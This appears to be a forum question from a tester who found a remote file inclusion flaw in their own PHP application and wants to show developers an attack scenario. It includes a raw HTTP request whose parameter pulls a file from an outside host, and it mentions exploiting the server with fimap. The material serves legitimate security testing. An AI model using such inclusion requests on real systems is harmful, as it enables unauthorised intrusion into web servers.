I have been testing my PHP web application for RFI vulnerabilities. While performing scan I was able perform RFI in my web application.
In my web application RFI works only when the user's session was present. I need to demonstrate the RFI to developers.
GET /cdn-cgi/pe/bag2?r=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800 Referer: https://example.com/success Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;
The response contains the uploaded file output.
Now through the above vulnerability I was able to prove the RFI was present in the web application, but the problem is my developers are asking for the attack scenario which will help them to evaluate my bug.
What i tried :
I tried to exploit the web application with fimap through this we were able to demonstrate and exploit the webserver.
However, the main problem I faced during the test was I can't exploit if the user is not authenticated.
How else can I demonstrate the RFI vulnerability in my application?